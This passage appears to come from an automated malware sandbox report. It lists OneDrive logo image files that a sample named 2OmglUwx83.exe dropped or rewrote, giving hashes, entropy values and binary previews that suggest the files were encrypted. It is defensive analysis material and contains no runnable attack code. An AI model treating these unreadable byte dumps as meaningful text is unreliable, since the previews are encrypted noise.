{.me$0L...0f<.L6>..Y.....,..1......4.%z.8.X,.`.lmM........9.. G.u..:.)d........f@dba...J3.'x?* w..rG.........x...X...@;..@.i.d.:Js.P.q.^3...H..r

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1324

Entropy (8bit): 7.84664251388214

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png
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Encrypted: false

SSDEEP: 24:9tI3MjJLEsUSRIC+UP5W8fQ6y4NP43ZQkXv2mGUSm4aI0drMW6NbD:EMjWE+CffF4fFGU9DrkD

MD5: E899934CD9572A1507F253A1491FC9B2

SHA1: 718512DEFE4CDF7D92F7061476F1AAEAF3455715

SHA-256: BB905F24608D4B16145765ED53A80CCC03FA582B677AB3E4FB5484F9FE17DB19

SHA-512: 21F339E816E803694B439AC276B30CBD5C5AF4A03AC1F50065050A30A7C3C6DDFA42AC1E515293C72925EE6E8FDAC1359B8D596593F8AAEBACEBFB46F551E0
6A

Malicious: false

Preview: .PNG.9....b...K...Q--..?(.Bj....#.2..@..T.%.9pEC.A..X.....B....P.C..z...p....6..b...fU........fqa.\.W..O...\.FPvU...oK..n.3F-..<..H..]eCUM.w>..h..,j..t....f....R_..-.y.g.......W@..j..rT.B..`
.j.D.....d.n,.v....Rm........Uy...|cW.7.@{...2.[....%.8..;...o#R.|pt...Z......=g.9I.6...l.p.K.<..?.u......B....x..<T...3.%5&^....8.'Q.a......-.....I3.K...w@Y.XR.S..j...N.....R.......o.....N.#....-.. .
..].U.8}]B..1...el......@..@...-....Ah...sW..M..wM.P."PF..Q8.....G..^..g...v....s..;8.....su..h....:Q|.<...e@.._E~..z.3..ak....s.........2...&..$.~..tX....$sW.z..1?...%A....i..'.v(...yr...M.
.J_.'..t..cM....5&V..g......T....y..kP..Z..C.1rw..O......0eq.......T......@'..Q.[.t...-....p...Z"w1.P...6?...2...N.] ]e.L.....O:^..?U..X.Lg.+*.qBI._.. BF...],..y.[.........os..A.....jQb.~.|..6.r J.[l.
...?..5=....3Yf'.R~b.......<<.....Q_....O.c.<.L.{|....I.....""`.;.a...;...xuW..=.".$.n\.\...t........A.!...\......o..K.0T../....)..X[..r..=.9.o.o3..;..J../.6n...S..v4.g

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1726

Entropy (8bit): 7.874923901413724

Encrypted: false

SSDEEP: 24:C+3LaPi2Y5upt9LxkrvpYO1nx5b3z52cQMusakQIIUQupSlYZhLbNbD:7LEzYcpt9iDpRn/hn1kXleD

MD5: DD34DE8E012AE9EA92A95D7E33BDEE7D

SHA1: BA6F087E6196BDA3EC93CD91EBCED8538C2D6E9B

SHA-256: EC09DA5ADDCE3690E30A22000E086E64A2EF00D9E496E377FBB1639C436B520C

SHA-512: FC6B5DAF58387FB27543CAAA163E98F8131FA1AE0274FBFCFA1BF84BE3263741F336BBC2E3DF8EDCE5AB18629541DBE87DC1B26A4DE08C9AA7A3E13BF3989
AB9

Malicious: false

Preview: .PNG..P.h9..+..-..%A...G.9L........].I..7.^N.bE...T*f2..g.-.$.u....`...l...PeT.s.......|.~..9..]Q...c....P$.{.../.........M.S.H...j.Z.^.*.J..R.Q.a..:R.g{..G.../....91.....@L.5v....T. ....FX.'....I.'.. 
|p.....:.....e...D.%.!6......{.w.\..A.x;..-../.|]v.w.........2.h..o.q......R..-%--C.....T..`.....h....H...@....].....c..Wr:......[.Z^..B....)...1.O.."G.X.".].?..6<...xZ_.qW.=.%..2y.z  ............p..].`].Z...r
...%..G...........J.H...nzjg...+...K..X.<a........]...j...}.@}...s..^%;..>jbE..1...!...i.N.jI..v|..lL......(H....D..~......`......~......PM%..2.|LX9...EU.S..Ryj..Yd.....8...3.0G..)..`....dI..'.jE~p...
G..v..v.,.B.;.C..KO.8[..o.[P.....5W~L..b/._.2t.9....'.....<+).c/lV....0...-*.0....in.E7....HT.:..~&.}2?.Z5.......f...............f....n*...9_.....U.PH...PC. '.VG/.]:....B(....O.........P.....0.+J...<.
.2...$.O1......=...+.k....*C..L...X.9.B_X.....%_."....js.*XMo0..Y...c@...X7..{'.2..z.@j..,M..1.F...sSV...........x..St"....s..<[.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3560

Entropy (8bit): 7.946107360866872

Encrypted: false

SSDEEP: 96:gTBh2soRTBbDBy53GfYVHlRIJlr+GeSxpTqs:gc5RxDBytkYVFOJlrFLv

MD5: 8A7C6FCB2B53FEFE5FB005BD046DBC13

SHA1: 322B7ABB6015650E49E9E8D7C389C07FA8F9F94D

SHA-256: 5D0E8D64F3303F4FE2F69BA953D4809C94FDF8E19F8DC4AB746064BC017E6F44

SHA-512: 2BBAAFB75302FBB3563B1DEDC9A291BF0D5D94AAE6F6EEB46F9D5E13C305946EB9D36E4C0E63088B67B5787ED63B6152886CBA04EF5BD34A5082DC4D69258
371

Malicious: false

Preview: .PNG.......~n..+....1..H..KD.o.r.._V.q......Ik.n;.6O?.(.f....f.o..o\....s.?......S....~.Z[F.r...v..M8..Xj..f.v.g7.K.....cV%j9.....)p.D.Z.HdE.g..#b.?./.\....o.3_...gz.....MZ<.xt.|..A./.^.4..2
.....p.....j....t..c...8.T.r...fi...........7.6.:...\~.....[.M..)-...1...t7..[.\..I.W..*...N..0.U9U..N.D.|1..y.MP....!.u.(.NY.....s}8.K....l ?..L.....B.:q.R.j.=.....U8..O9K..../..V....>..t.6ZM...y.3.........}#.
z....g.R@.O.7.....uB.;.u..]...........S.[h.y....x.6.s..to.n*4.....E._..r....h.R..m.(.EC.."s.....1....!..i..2zqeW!...Q..8%H1.Kg..5.$.a1..s.*....M.Y]......j...5>]P>.s.+.....6}..R....Mj..U2.tJ.
9M.0.KB8..m........1Zq_.n.....'..N..U...EZ\9Q.9..bD.p.....y.C...X..U...>...E....@.~Y]..x.k.}..N....&h..G..<<x.)..4(T....u.?& .}....Q...N.......G.)x_[3.............."..h.8...51@~...N...m.b...
r..| ......PJ+...k..v..?...=./..!.6.w......."=...=y....w.$..........~.7".Q$. .........0.kY`..P..M1...).E.8$.D."...`/f...'*&...$}.d..`.....JWll.Tq.&........

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 996

Entropy (8bit): 7.782614145342828

Encrypted: false

SSDEEP: 24:BX1y7/f9yQ5RO0ndOaAMWpJebaA14gZOWmzAryYVizjaNbD:ry7/fj5RZOaAMWmaA14dbY0zjaD

MD5: BC895BC2BDC6735AC85317FC23FC156B

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png
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SHA1: 08194177B07BAA38A978BCB46A568FF94508D6B8

SHA-256: 335C5031C0F31172057B51E67A105C975542966AA9429A377111611F8BDBFCB2

SHA-512: B55C9386451C39DF3956A7E3A165E757957039E2C9D89F166A2DF207A1E58273F372F3DE0A6B64FE8DDFB505234573F50362F280D672BC5A7E1F55ABED116A34

Malicious: false

Preview: .PNG.i.)Y.j..tu..P.....].6..9..'.B).>......B*.`Wt...=..NIF.0..Rd..r4...?...MZ.7.^)/<.-..L..teO..h<...W.&.=^...P........e.....!1.....G..`.lR5.%.2..qC........<>.>.g.0...s.:...T...L(.............f.../a9.
..'"..*...w.[.j.(....`.d.N...`.f..4../.PK$..,!...^.C|.p.I...M(.B{.;Z.OCw.>.`.$].0.>5...zB..#..%..d.._nV.a.......&lA.0H."L<)..E......@....?.T{....Wy..i.LR...H..>.....2... &..[3..H.#.2L.o...b.
.s.t..#.VbikZ.3[..A...t..p<&..o.Y8.P.I.$..C..y@..4.....bO.n...n..}......B......:]@.V9_\L.z..$c.Y...Ge.....8....'.^ .Gx.s...."O.c-L.m.%dr...iM....je<..t....?....[r.l....1......>i.fD&..l.SB...
........N.<.`.A\e....u......vZG*9...w.q.{!..\......45......._.-.m..%....YU.r+k.m..).v+.5..V#.2...I:t....r.|.I......(5v.3:.....S.s..5xW.[...br...".b. ..B.#..x8!..7.R[.....[.O.g.....t".1+......R.7.8.bhJ
P...r..`.}...l..R..l.W.9.['...#$I=...x.C..3..I..-b..+.{.u.y...81U.=_....,t$....b.\l]].V..(z.MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC
5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1205

Entropy (8bit): 7.813504279947031

Encrypted: false

SSDEEP: 24:aQu3vdqYnek6SkZJEkWw814vQWbOW57Ko90MaTLvG+mPeAxJW8NbD:/u1qJdWkWw8+oEOW5NQXeRd3D

MD5: 276356BB5602A891B099A3F8B31BCF1C

SHA1: 94B020BD35E5E762216D45F56744B854EFD6FF98

SHA-256: C5DE65C371B43EC6690B11735AA3D0072B6B06B2DAAE03DC24738E11D6492CB4

SHA-512: 653E58074EB3388F88FE77390FD13776A76162BD3372087AA8305AEC42069B6062F8F659993DD6EE856CB47B2C889301009DAD2078CBA0D32764C9590917132A

Malicious: false

Preview: .PNG.#>....zm.?.e......9.).}_:..f...j...KC..CD.".....x.y..!imS..f.....s........AH.OR_.(#|~^o.L.i...2h.&.M....*..h.|../8S.q.T...XB.M.1..#.z....M.h...:..\m. ...$K..../...|...S./.H....F.(..f..2ne 
.mHj.I;f..~._1.]....E.U.......$.r...$I..I..|.8.q.R.4..0d....t.Kj.]1..!D.v....^]...A...=.....n.3..P$.....=n.8.9.w..."1m.'."...-.E....i...o./...$.J.+]dwy..9."b6u8.I.j...y\\cQh.fs..v...]".8.7...q.&..`
.R.Z.U5.A..p...`..Zv.6.]It...o..~..0..~3T..Q7.^....j.9...P....P$..:..}..f..Y...}Hb#.P.T.t..?N._.....C..1A..bY...A..#.j*.....D ..5@JY....9o.>.&......H...U]2..OJw.K.!j^YL@[.E3.`..n...{..."...E 
.....;&..z=9]........Z.'N\...K..~...)..p.O.3cT.6.?.......aH#....@.d.:..{S....S.u.9....qV.8..G..3.Hz_}WK....C'b...>....(c......::..!.5...K.B.S..,.-6V..SS..fi...M.<-@T.16...~..re.>Z.......O.....
{..F..*...o...Y......T.f..>......,..tcc..g...&...4>j.c.>D.O..A&P@.h8.;..n<...Tl..:.W.gZ'Oz7.A.wt"v(~..\9....o......=.i.vNhi....Bhm.)..2......p$...G>...&|..".'.i..9K...._...._...]C.....

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1134

Entropy (8bit): 7.798463388404211

Encrypted: false

SSDEEP: 24:8T18PavYiRsNCv4fZnj+oNUw4opZoNoLBrkONbD:8T18Shdv4kSpZoNOr/D

MD5: 8DC49F9DA31E1884B52B04180D7516B5

SHA1: 99556288A1F3BE029AE53DD2AB227AEDD66E8FEB

SHA-256: B6BEA004206FEEF8342A78A52A3370B363EB954644C473E4E17F5244DB44AA31

SHA-512: ABBABDCD5DC7923E45B91AE57A279CF6584D71AEBCEA6E3B651BFF9F35BF2B3D12121A7715C03679D4B3AF629EC8CD7E0E4E19D918562E02711CE607F29B3
66B

Malicious: false

Preview: .PNG.\.[Wy.=.!9qM.0...bb,M.N.=.G..pi..=...k!0G...../8&(.<.....$;1.N*}g......Z.=....b,n......Etr#l....8....;>..:X.Q...D.kL6...z...........T....D>.....d.......X.H.A...&.......X..q.b...J...Au..
(......*Q.....L.H..Sv...*..y..p..Y.5.w...gF....l.....R.;S......{.h.I...Q....q..|...Sr.W....T.....(.x....N.NF..*.9/.....I."......r{.......m@.?..q.d.N...=ed1W#S.9...mb%.xP..97*..|[Z~-7h.......
+...beGi6:...5..J.g....\.K....Lc.d..y.TR.zS.0..x..-..5}.Zu....i.i.ip..wW|+.mX?x.N..z.fx..6...h..v7..$6.E{.Fn.i.p...=..G_....8c;..P....."/.\3..(.8.:..iQ.:..R.~0X9:\<.~..!.l..$e.h<..V....]k...
.y.=..4{.r....C[..T......&e(Q...d...v..d.&.yE`a./"R....0.r..*.JA...'..,m....!/.:.AX...O..:.!.fOl.<..f 1 .....N..w.8_..\.0c\.\...P...q?"....TF.....GM..f.j...PZ....F."[@.<8..p......=.#rj.=..&...H.0....y
..8......: ...........A.O@...!...R...It.T.g<Gr...u6...A.d......].....#.{.@.L...*...d...FX.>..s.{...m......r..w....[..H...>..*....H..b.l.._...@..Hf..3F.....Wk............f..c4<..".

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1827

Entropy (8bit): 7.886328617795147

Encrypted: false

SSDEEP: 48:P5hGm7G/x8/uh4iqzDrQ+/uWT6ygwAmjlD:vn6rXq8ahAI

MD5: 617AF180301B3E29B68673B6535D7A8D

SHA1: 3B9059F1D85347A880D17BF73CEE26BFCDAF2EEF

SHA-256: 3B4EDF46760DD7A07FE4E979183AAA52303117E3E28B1BDB784CD76514818A56

SHA-512: C901BC822D9CAE0BAA93E2932E17802C1354C87CD11548901F1E94F31A6D5D4CF8BC69D335E72C5847F556F0A13F6FCB699B2F0B76B99BC2717190D5487D51DF

Malicious: false
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Preview: .PNG......D....S;5.@........D<......W2....Z.....1._?...E.h.^...\./...UR.7N.e..s....7.#....WO..k(.zy....@.qr.-....L^.V.a..=.U.."..U.I..i...e......I..b.r..Vz7.>..s_qd....q..I.R.....Uv.f.Q"Z._.
M(.........B.5.|T...].`.tK........jI..8.>n.... .[f.o8.....Z..r.)A....V..uC....p.`.....D..T..!....T....~.V..9....t7r...>Dv..X@~...y{.t....P..m.....8(.........eU.L....I...2..1....yB*.$y.....`.W.Y.....[lp..j.K..Ip
...uZ....S..{..,f.....6...d...<........j.&1...9..Du..~4..K..I.N0...o&..*'..A B...XLv....g...b.^..!...:.2...J(1....m_/.pZR5yI..d.[j...J..P...RF. qa`..(.I.+.dQ....a#.1A.p......@a....u.#.I.l.^;d.1.{.....
......w(..(w.n.7%...3.H.3&,..9...:%0...._..y.....%.)....)E.".....o)..Q....^.6Z.g.&.....i.w..].h[.;.........u]1W'$C.#.K....P...#....6\...#<..0..o!....gy.P.......F.A.J.O_*....O..[..1...|.'r!..}.`.i2.._"
@?.fk=g......z.M.e...w"..V...~...y..Y..n..oS.6..Jf.'...~.C...O....]R....c..)...........fI...H....~).|r......M..|VQ...S.8..z....e...U.....R........n..7o..|...._...

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3872

Entropy (8bit): 7.952539829440716

Encrypted: false

SSDEEP: 96:UVDQlpX+7nC67XY4O+OJNrvUC/Sw1bRNPZFtNADd57Ho9ul1jZCGlk:AcwLUZr87w1ddZFtNAD7/1jZCQk

MD5: 562364D400A723FD212914CEF1E3A001

SHA1: 40ED8C7B986860FC8D5D5337BB54CB7C05132069

SHA-256: 62CA3A6D054FEA6D2298FEFBA545EAC44A9E3940EC8992469AB52D4AD435EADB

SHA-512: A84E361E580DA2D7803526997BCCA12BEC394424A08D6F63FAB83B774B5FA3771EE49BF024EC960B0C2B69FBEBBF933BE77092B9D8620AD1E75B85A8B039FE
89

Malicious: false

Preview: .PNG..e.x2.8..~N..F.l"@....._H~..8...W..9.vWr..*.,..&!..}0.`........q{..k.i.A..P.xgw .YY...t..td$.|>k.KtH.p.*..d....Ph.C98.....F._.RQ4./.Z......,.....M.n.S...G<.a...._..F...3.t.>...u{.v._.\u
.p...H$.9..F....'."..I..p.&.;J...........t.........1..[b....@..Z.=.5.z.).@E.5D ~....:....k.JKd..l...=T.z..>....].y[.4Tt....`....@c...!...N_.G>..<@?cL\.!....!bl..{^OL.2q.vu.i...P^..`..)....F!.n.>.E..\;
nf.J......1.{.2.i....EGd.DU.P..b......)s...=..U.S...s....j...t)A....h.-.....CCO?;[..:.]E<.Es",9..............T....~.....6....LCFA...@.....A.S.-kLR...}....x...|.5...Uy.O...J.!.....)...fX.EY..1....0.Fv.
.P.\=.......q.;+.&M.(.U..}B!.O.P.../.|{I.....`.8*9W......L.........C..y...5.. ....x.z..-5.s........7L.Ko9..R2.eg1._....'.Z.'Q..<....yZ.O.j.s..w....X...D.`........B.\.T..(./.J....:....2B...?...Q.?..F..
...A.D...m....q.......8..R..Jy$#..=..R......s.v..1K.[...o>..<|Q...\9.h......s.X.*Hm....C?c.l-H..r.@.Z.09....V....=....|I...:Z..:h.~;VJ...m.K%..h3..A..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 986

Entropy (8bit): 7.759875452326163

Encrypted: false

SSDEEP: 24:SVaFCtLIRNaYt1j7Vw4MTXbmYaLQRO3yfCqjDznNbD:S6CtLswq3w4MTLaLKOifC+XtD

MD5: F64A8018ED0F8411A2D232F3A39B8D18

SHA1: 4151E25F02971561014C43852B608B505580F9B8

SHA-256: 6EB31E2EBB14C2AF3568D5F4DE12A1FBC8A40C21942F8AA18E738A59D7C57AC8

SHA-512: E1012ECEFB4948D9DC9883857B0C6AE68CFC66754EB0C7D3F36063E7DAF219B480A4B4E880172AB8E03AA44529B241757C082A09FFBECAA7CA990856EE846A
74

Malicious: false

Preview: .PNG..t..J..8p...7.&...6.%iUe...=.$k...r.......bG.( ..V..h...l,.."...6..u...F..J...@.1e.........Q...5.Z..06..H.9. j.......8.4Q.J......H....D.......:.......9.?....n6.,Z.!./v#,..|....I...A.x(...._..E}O.
4......E.i.\.I..e...C..y.}h..43r..e.....8}.....~.}..Hb.g...pIP!.M..(.....?9\.}..W...s...}V$*}...\.Po.A....yI"-.........{.._T.*q...,....9....<LN...3....+;.Y...o!..s.m7....".$2..,.<...i..]..>f]0:.. ../f....{.X..:
nn!..r...>.7F..v..P..,..n....'...$...4L0.-..hrMBP..1zh....6.O:...o..-...!3.....#6*.j.F..G.s.:P....G.../..a./..Q.w.....Q..00.......{..xl~.5A...T...*.{ ...R...F.......n.6.0p*....|Y.Sk.A]V.3..}..... ...^
.y.....#..+.[.=8ZYy..96r.^x.........T.gu..G.....48#.!.r.^....1b.9@./.......{j`C8\..hj.6.Z..X..3.,.._..dp.z....E..{.Q4..6....C..87.f...L^.^k...2...b.Nj..+I.D....JG&B.d....%.CK%.....D.........
.%..G.4.wO^.2m.#).]S&..Y....7..2]H...F./i.Ym.!..^.c..m.&....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1182

Entropy (8bit): 7.851695976695365

Encrypted: false

SSDEEP: 24:sB820Qnqak7WndERiUWLVcH+PXes7JuSfpMOj6Rim2zOIXNbD:seDWnWkjVcH+Gs6iIim7eD

MD5: 09B1B138D368E0BA92E516AD7C7941FF

SHA1: 39D9B2E838ACA3EF903A74A5D6C493AB305BCCDE

SHA-256: 7F7804FBAEE37C67E9147ED31E464C4C2330A2F0EBBC4F4AC910BC8E9BA9B819

SHA-512: DAAEAE51278D46A4D15DA1894B416FF7704F028B4ECCCB08C3DBBABDB57DD8923D33A128C6DBF2A28628E006514B883DCB74AF11127020C1EA6D5B98001E13
7D

Malicious: false

Preview: .PNG.O.fq.G.<Ce.R9=.@.J..G...6<3..y.=^:.A.0....c..{g.^.*.....vVMIHa.......Y<w..q+..!..(...o\.......W..v_=.....N..U.E.O..`..,..:.Zm... l..y.O.h'.."...a..w<..A..?{H...V...|L6.c..N._.
.\.@N)_..68..#L."6./o...#6...U^......~.....*6$.C...<..ss.....J.`..+...=...MD......R.$@C#I.5..S..>.h.<..6.0.%.{{.5..U.....U._U....\.%2..{]v.5..%G.:....[.%;..+...*...Fu..L}..1.o.(...P.:".c!..H
.Q4H.`.Q.Re1?....\6...y...e.vgGi....R6..........G.Z.m<...:....\&S.....j.i...I.59KI..u...i.Y......).*..B..F......up..0+..9X....s...\...I%.bj;...A\-..z.VIU|.........b*..i..&.[..6..U.&....#I[.........3..
._/&.....$...8..PN.".A...V..B...&`.@.....#.]vGz+.b... P.6?.tT.....GSM.l. t.$...T...6./Qi.H.m.j/.>#%K..u<..M...o..H7.wJ.....&..+,<..`.-.a..x...|~.<.@.S...,#m......k...0..L&.7.K.J.]U.
[.z....9)..=.2.t.S.[.....o..'{lR..R\..j.Kf.9S8..t.B..k.......J..b..4.....H....|.>.N..Hwd..`-.I...G.Y..U......3E..q=..c-=..#R..}..c.g.$.b.. .%b.yL>.^5.+..X.|?...0..t..8.P27....@.k.].r..`...R*.q..*..
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1324

Entropy (8bit): 7.8409410577498

Encrypted: false

SSDEEP: 24:BPwcsTk2CR9Oy5XfA7ymC4mVOpB65XZa2pNhvaH/5i3CoPqvvFnXZCg5/NbD:B4c92CjrvA7ymC4J8Z5rafM3CoP8NnX7

MD5: AEAB09F3D4D66A2D21157C9ABD860BB0

SHA1: B7F7A0F146C59652CED916F53AB98F57C29CFAAE

SHA-256: C58EABC87FAE38BBFBC48993B3F4A74769A54CE24E9113764A47C537D33EEE9F

SHA-512: E4251A2A37BF887734A3BF1137B097D8E3B1B4B97590C470AA9AC9818DA9016951C602508C63CF1718B2DA541C395BE036F7D46583C71C94D6F802343AE8EDA0

Malicious: false

Preview: .PNG.5.Xr.+....,.....J.)G.#.....p..P:.G>+..3....1...E.:...........i.Kv.y.1.(Y.R6..)...F..Fd..]......y.U..........S4N...&b.p..Zn./.......xo[2D.v)...G(q......FSG.$...7..y.........R.[.-{...J5...C#......i
......\..|......t.#.)...c..5~...9.....f.j...(q2#J.......V...H.. =..A3m#...A..k...%.Z..h....)"n."9..t.{..]...........D.......1...&.f....+..4AC".g...'GOU.mQ%W.h..S-.Mq...g.Y:<.IE.......<.....3...<.....N
..#..cQ..av.B.S..E.Y..H(....O.e..A..D&.B.U\...........ps|.]_..!...P..qC...V...x6^5........|.]..b,....i........$..... ..6g*...e.!..V .tQ.g.n...~-.Rg.@.H.....fw4.P?.2...:.%.ws}..j.....#...)...^.H..vV..u
B.oK@....'B.5...x..,c.S..Y..[F..Q.1..Y`....{.....;?..N.E4AJ,.R=.....!.......q.......:d.7..".~=.jf.I_.iH...>}.:....+.<...0.u....x<...@.........o.J.o2".......\...<..;...b.. ...P...s....I])bp..4V.L....cX[.1|[.
<..%..eT?.x.{x...\Z.d.+Y.<..uO.a...h.$.D..\..!@...n.l.Gv...;..5.....n.}..LkK~]2.#.d...d..]m`......b.N.'.%M..q..F1...".]...@>...x.7..b../.v.x#(@\...\

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1726

Entropy (8bit): 7.861697191306068

Encrypted: false

SSDEEP: 48:vqW8MwDvmVvK5pFSNTiHxdKXxgq1qjdobb7D:vq7l7CC5pF+TqxodcS3

MD5: CC43A222CDF8EE8C60E3385D92ABFF5A

SHA1: 220CDE5B76A4C1D964F6F039A6DF6DC5C495E771

SHA-256: 089F0FDB216FE77E48A2C02735A4F7ECE3A41D8A58DD105DBBB2DF250255EB90

SHA-512: BE066A79B06EA44A3B213ED6D27AF2655820C07E0595EAFB91B26708129D9794811FC4223A0C8402A2033AFA5111900181318DEEEA75E5D5E2E91BE8E44F5870

Malicious: false

Preview: .PNG.....W.A.|q3v.B......B.....I$X..;.N.....mb].`q/'.Pgu..U.Z1p.....<ru....-P....zqG_\.4t.6o.=..^...&Q.....+.O.0..../cwp.z..B2..<..<_0.U.K..G......D..s2B..s.z.......X.....>.........7x.._=S.J
s/..G..].Y:.B.4...e...22....g.3...l....A.|..>.#on..6=.6.|.h-..D..<....<|..~...&.87.<Uk5N#3..2:../.....R..wJ....J.AC"..G0....."|P3..2}k.../.../a.@..5..vF.nwx..O3D._.........l(.h..[.s.Gq...p..
B.oAR.x&.R] .3x.i.>v...N..<...^..i#........YR....a^.e....h.s.l/.....|...n...=s}{...Lpl......L.....v.]..wk...Q%"..c&....)..8..m"`.8.Sp.t..+s..G..N.9.&..a.".zPe..+*......!....5.....P................J.F.
<.s...d..?...>.?(M.y(.0T.z./.....w......QW......CqN]<..].l+.w.=.........DK{D.F...4Q....g..tZ...NR.....E.Q..{..>..]....{[&C.{.{..#.4tx;>.9N4.h...q.Lo......QT!l.l.....KG.L.Y..~.Rr...U@......%.
Y...?..N.2..GA...4.t...MyI.T."k....-S`.#B.......1. S..e.Gu...tOaj#....x...,zN...G.jE$5N$..j.hC..sl..0.Cc.F..j..=A5./3922.d,Vu.`.[-h....F$1..T6yl.}..*.B.n..<...C.i[R.......\._.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3560

Entropy (8bit): 7.950998913163219

Encrypted: false

SSDEEP: 48:EuPgsOC4zAPWRkybEGSg83m9aZ3DZ7+7BPYxVYtIbAIbYcNtDpOBx2ZSjaIGNXvL:EEY+8/Qg83laFQlU2ZAGUA1

MD5: D45010D83F41A9712B6CED82D5E68259

SHA1: E32B0185A9F20018CAD0B46E9DB4DD5B384122B4

SHA-256: D8C8DA8B9F22428732D31980B93556B09E831E1A81F422ECD0F02DD870F18E28

SHA-512: 7982E7A355A51D607D08F666C2C33DF49561A2DFFFBEA9C2A1880820B10DFAB4658F5AF37C277163105D85F5E7459D20261ECCE846DE522D8CC5A3BBEC5AEF1
4

Malicious: false

Preview: .PNG..~..A.$`.........T.2.......[{...H.....k.N1{...6.._..1....(=.....F..E.+.....7.-.9.N.GX..A.G....~+..p.g....Cp...lV..Y..\.....d...(Q....Hz.@....N../..X...4o..b.`!Z......d...b..'3i.s.vy.c.)n..l3.g.px
.]^e.\.+....._+Rm.....0Lb..^s..Ak...{..W..2......PK......Z...Ey.{g....]0.....(@['.....R...9..HK...UP.... hi..4"......m...t..I...OXj..12.T7..G W......(....."....n(...9tj.#.....,.F.......qO..b.M....+..3
..5/I.{.>.-.GQ.N.A..0.1....x...Dl..p.w..|...+?E...U.....c.V0Z..l..=.....@8.........{......%{....LT|..Mrfc....1..T.Y...s....S_G.j...Al.z).....(.b</..g!..V...M...D.H.1.3~DHM..X..Q."2.I..c%.q.<
.g.SeD......[h...e..J.XI2..3a....S.p]G.m......dp..HK.>.p.f.XN.....O@..zd.......6......zx=..M,.......`.JS4#%+3....w.8.Q....:.j.HIk.....~...lr.{..]..Af_U..v......^j.)...F;jMP......*.....O..g..
N....4.e..0._TQ.E!.Q.....(Q.V.=.M. .j.l}..|.$..~....A...S.....R@FjUK..q.a04..Yr.....Yl#..G].._....-g.....U.cl7<r7I94-z...//Zl......u......n2.G,...J/,/(6.'~]..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data
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C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png

Copyright Joe Security LLC 2022 Page 35 of 219



Category: dropped

Size (bytes): 747

Entropy (8bit): 7.742102443849512

Encrypted: false

SSDEEP: 12:kG6ssVdmaUwpCesG9n4TZ/0HV5Vp/4K4CY+0xb8Ybzlj9wQ4usaTIaC/OEXNciik:kr1WwpCesGF4ZqV5Vp/H4CAb8QojGIas

MD5: 5087D08C3FBC7503824FD599FCEC4C57

SHA1: 9D269F99F8C25B4E650307E4256BB4ECE8EB26EF

SHA-256: B33D877E9ED7C4039D087A7C1C22B03557089AD8F5791045512D4790F5DD3EE0

SHA-512: EDF81B2C7C8C4D653D75CFFF9E7BCDF425EF1809E39C6075FCFBD90ADC5FC90209E6F56FA7205A1086D8D9D81BA1DB21AD1D4BC6BC1709DDEAAC448D1213
1425

Malicious: false

Preview: .PNG....#. .b..C.......}!u.E..s...~.=}..m...w....I....Z.b.x.$)..V...&f........a..`...K._.-b2..=.?...u..2WYETq^.C.puQ_.H."N.......$.O{i...........W`N...6r.....>......s.S.....:...?........Ta..
.#4.&.|.E.:.#..../.qb..6#)..Q.@..N1B...|[F.?.d.IR.j.^..<..;..|. .......e..rM......U....E~ ..Yq..1n.J{.i..k....mt=.a..~...iC...M.lW,..1..K....h.5.?.......:1.t.P.....".[..<5b.....1..Z.....V.r.2./u.....q..L 
.k.....|V?..8?...q],qm=:...M.<..=.U.q..AYD......{....4.g`.o.(.\.X.A..!.z.04.H.\.f...x.... ......q.....!.....+..VS+...4..i~*1g.6#.......c..f.l........}).t....._(......j.KH.8.k+..f...Ym.....].R;q.;.T9..!.`...
..P.]8N.f.....'.{.u.:..V......v..}RMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 859

Entropy (8bit): 7.703397447358913

Encrypted: false

SSDEEP: 24:U53Sj4OkFhuAEZilM51ujpF+6Yqh1B3228NbD:U53Q8FHeMjp8iVGvD

MD5: F9F4BEF373E309709A4FA4FCC655433A

SHA1: 5670C8CE69C1EC26E6CAFAF9F9B31A1AAA651FA9

SHA-256: 5680F95BC846D785E2704697B9C86793614FC182A5D4AA9C5CA64372BEC47D34

